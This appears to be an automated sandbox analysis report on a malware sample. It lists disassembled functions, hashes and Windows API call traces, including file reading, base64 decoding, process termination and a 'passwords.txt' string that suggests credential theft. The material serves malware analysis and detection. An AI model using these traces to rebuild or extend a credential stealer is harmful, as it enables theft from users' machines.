Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction ID: 43cdf4ecb647160fda175e5076d83385583e07dd488e496ff266cef725db0fb4
Opcode Fuzzy Hash: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction Fuzzy Hash: 7ED092B1509719AFDB288F5AE480896FBE8EE48274750C42EE8AE97700C231A8408B90

Function 001985DB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction ID: 81b03007a1f881deed44a42fc0175a6fbd256bce6d09bf2effb1e14420dd7128
Opcode Fuzzy Hash: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction Fuzzy Hash: DEE04278A55644DFC741CF58D195E99B7F0EB09368F158199E806DB761C274EE00DF00

Function 001985DC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 0018148A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 001814A2 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0018DC75 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0018DB54: lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0018DB90
Part of subcall function 0018DB54: strchr.MSVCRT ref: 0018DBA2

GetProcessHeap.KERNEL32(00000008,?,75AA5460,?,00000000), ref: 0018DCD9
HeapAlloc.KERNEL32(00000000), ref: 0018DCE0
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DCF5
HeapFree.KERNEL32(00000000), ref: 0018DCFC
strcpy_s.MSVCRT ref: 0018DD18
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DD2A
HeapFree.KERNEL32(00000000), ref: 0018DD37
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0018DD68
HeapFree.KERNEL32(00000000), ref: 0018DD6F
GetProcessHeap.KERNEL32(00000008,?), ref: 0018DD76
HeapAlloc.KERNEL32(00000000), ref: 0018DD7D
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DD92
HeapFree.KERNEL32(00000000), ref: 0018DD99
strcpy_s.MSVCRT ref: 0018DDAF
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DDC1
HeapFree.KERNEL32(00000000), ref: 0018DDC8
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0018DDE6
HeapFree.KERNEL32(00000000), ref: 0018DDED
GetProcessHeap.KERNEL32(00000008,?), ref: 0018DDF4
HeapAlloc.KERNEL32(00000000), ref: 0018DDFB
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DE10
HeapFree.KERNEL32(00000000), ref: 0018DE17
strcpy_s.MSVCRT ref: 0018DE27
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DE39
HeapFree.KERNEL32(00000000), ref: 0018DE40
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0018DE68
HeapFree.KERNEL32(00000000), ref: 0018DE6F
GetProcessHeap.KERNEL32(00000008,?), ref: 0018DE76
HeapAlloc.KERNEL32(00000000), ref: 0018DE7D
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DE98
HeapFree.KERNEL32(00000000), ref: 0018DE9F
strcpy_s.MSVCRT ref: 0018DEB2
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DEC4
HeapFree.KERNEL32(00000000), ref: 0018DECB
lstrlenA.KERNEL32(00000000), ref: 0018DED4
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0018DEEA
HeapAlloc.KERNEL32(00000000), ref: 0018DEF1
lstrlenA.KERNEL32(00000000), ref: 0018DF09

Part of subcall function 0018F0FD: std::_Xinvalid_argument.LIBCPMT ref: 0018F113

strcpy_s.MSVCRT ref: 0018DF4A
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0018DF70
HeapFree.KERNEL32(00000000), ref: 0018DF7D
lstrlenA.KERNEL32(?), ref: 0018DF82
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0018DF91
HeapAlloc.KERNEL32(00000000), ref: 0018DF98
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DFAC
HeapFree.KERNEL32(00000000), ref: 0018DFB3
strcpy_s.MSVCRT ref: 0018DFC1
GetProcessHeap.KERNEL32(00000000,?), ref: 0018DFCE
HeapFree.KERNEL32(00000000), ref: 0018DFD5
GetProcessHeap.KERNEL32(00000000,?), ref: 0018E00A
HeapFree.KERNEL32(00000000), ref: 0018E011
GetProcessHeap.KERNEL32(00000008,?), ref: 0018E018
HeapAlloc.KERNEL32(00000000), ref: 0018E01F
strcpy_s.MSVCRT ref: 0018E03A
GetProcessHeap.KERNEL32(00000000,?), ref: 0018E04C
HeapFree.KERNEL32(00000000), ref: 0018E053
GetProcessHeap.KERNEL32(00000000,?), ref: 0018E0F7
HeapFree.KERNEL32(00000000), ref: 0018E0FE
GetProcessHeap.KERNEL32(00000000,?), ref: 0018E148
HeapFree.KERNEL32(00000000), ref: 0018E14F

Part of subcall function 0018DB54: strchr.MSVCRT ref: 0018DBC7
Part of subcall function 0018DB54: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0018DCCC), ref: 0018DBE9
Part of subcall function 0018DB54: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0018DBF6
Part of subcall function 0018DB54: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0018DCCC), ref: 0018DBFD
Part of subcall function 0018DB54: strcpy_s.MSVCRT ref: 0018DC44

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 882919d8e81d33c751407722a0b8ace999f8bd1d8c44ba410d69c9920007b747
Instruction ID: fdb7c08e700ed32adb2ae2c2a5ff1a1e710e7b16f925f6ddc77f083c3cc67fa6
Opcode Fuzzy Hash: 882919d8e81d33c751407722a0b8ace999f8bd1d8c44ba410d69c9920007b747
Instruction Fuzzy Hash: 6DE1F772C04218AFEF21AFF4EC89AEEBF79AB48700F14456AF215A7152DB3559849F10

Function 0018A8EB Relevance: 59.7, APIs: 32, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,001B739C,001B680B), ref: 0018A996
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9AE
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9B6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9C2
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9CC
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9DE
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9EA
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018A9F1
StrStrA.SHLWAPI(0018B7F9,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA02
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA1C
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA2F
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA39
lstrcatA.KERNEL32(00000000,001B73A0,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA45
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA4F
lstrcatA.KERNEL32(00000000,001B73A4,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA5B
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA68
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA70
lstrcatA.KERNEL32(00000000,001B73A8,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA7C
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA8C
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AA9C
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AAAF

Part of subcall function 0018A7AD: _memset.LIBCMT ref: 0018A7EA
Part of subcall function 0018A7AD: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0018AABC), ref: 0018A805
Part of subcall function 0018A7AD: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0018A80D
Part of subcall function 0018A7AD: _memmove.LIBCMT ref: 0018A890

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AABE
lstrcatA.KERNEL32(00000000,001B73AC,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AACA
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AADA
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AAEA
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AAFD

Part of subcall function 0018A7AD: lstrcatA.KERNEL32(001B6801,001B6803,?,00000000,00000000,00000000,00000000,00000014,?,0018AABC), ref: 0018A8BA
Part of subcall function 0018A7AD: lstrcatA.KERNEL32(001B6801,001B680A,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0018AABC), ref: 0018A8D0

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AB0C
lstrcatA.KERNEL32(00000000,001B73B0,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AB18
lstrcatA.KERNEL32(00000000,001B73B4,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AB24
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0018B7F9), ref: 0018AB34
lstrlenA.KERNEL32(00000000), ref: 0018AB52
CloseHandle.KERNEL32(?), ref: 0018AB81

Strings

p=, xrefs: 0018A906
passwords.txt, xrefs: 0018AB5E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$lstrlen$HeapPointer$AllocBinaryCloseCreateCryptHandleProcessReadSizeString_memmove_memset
String ID: passwords.txt$p=
API String ID: 1221571796-223136824
Opcode ID: 4f33dfcd56473ae19e2fbf439fda04511e9bda27bba2a54909f6ee6dde53496d
Instruction ID: 392d76300a6e9cb9884d8a0d23135f7a9a146612e8c5dac2852b9ea61c385c30
Opcode Fuzzy Hash: 4f33dfcd56473ae19e2fbf439fda04511e9bda27bba2a54909f6ee6dde53496d
Instruction Fuzzy Hash: F1715B36502115AFDB03BBA4FC89DAE7FBDEF59301F004412FA01AB1A1DB745A059FA2

Function 00188853 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 389memoryfilestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019076A: StrCmpCA.SHLWAPI(?,?,?,0018886E,?,?,?), ref: 00190773

CopyFileA.KERNEL32(?,?,00000001), ref: 0018894C

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00192285: _memset.LIBCMT ref: 001922AC
Part of subcall function 00192285: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 00192352
Part of subcall function 00192285: TerminateProcess.KERNEL32(00000000,00000000), ref: 00192360
Part of subcall function 00192285: CloseHandle.KERNEL32(00000000), ref: 00192367

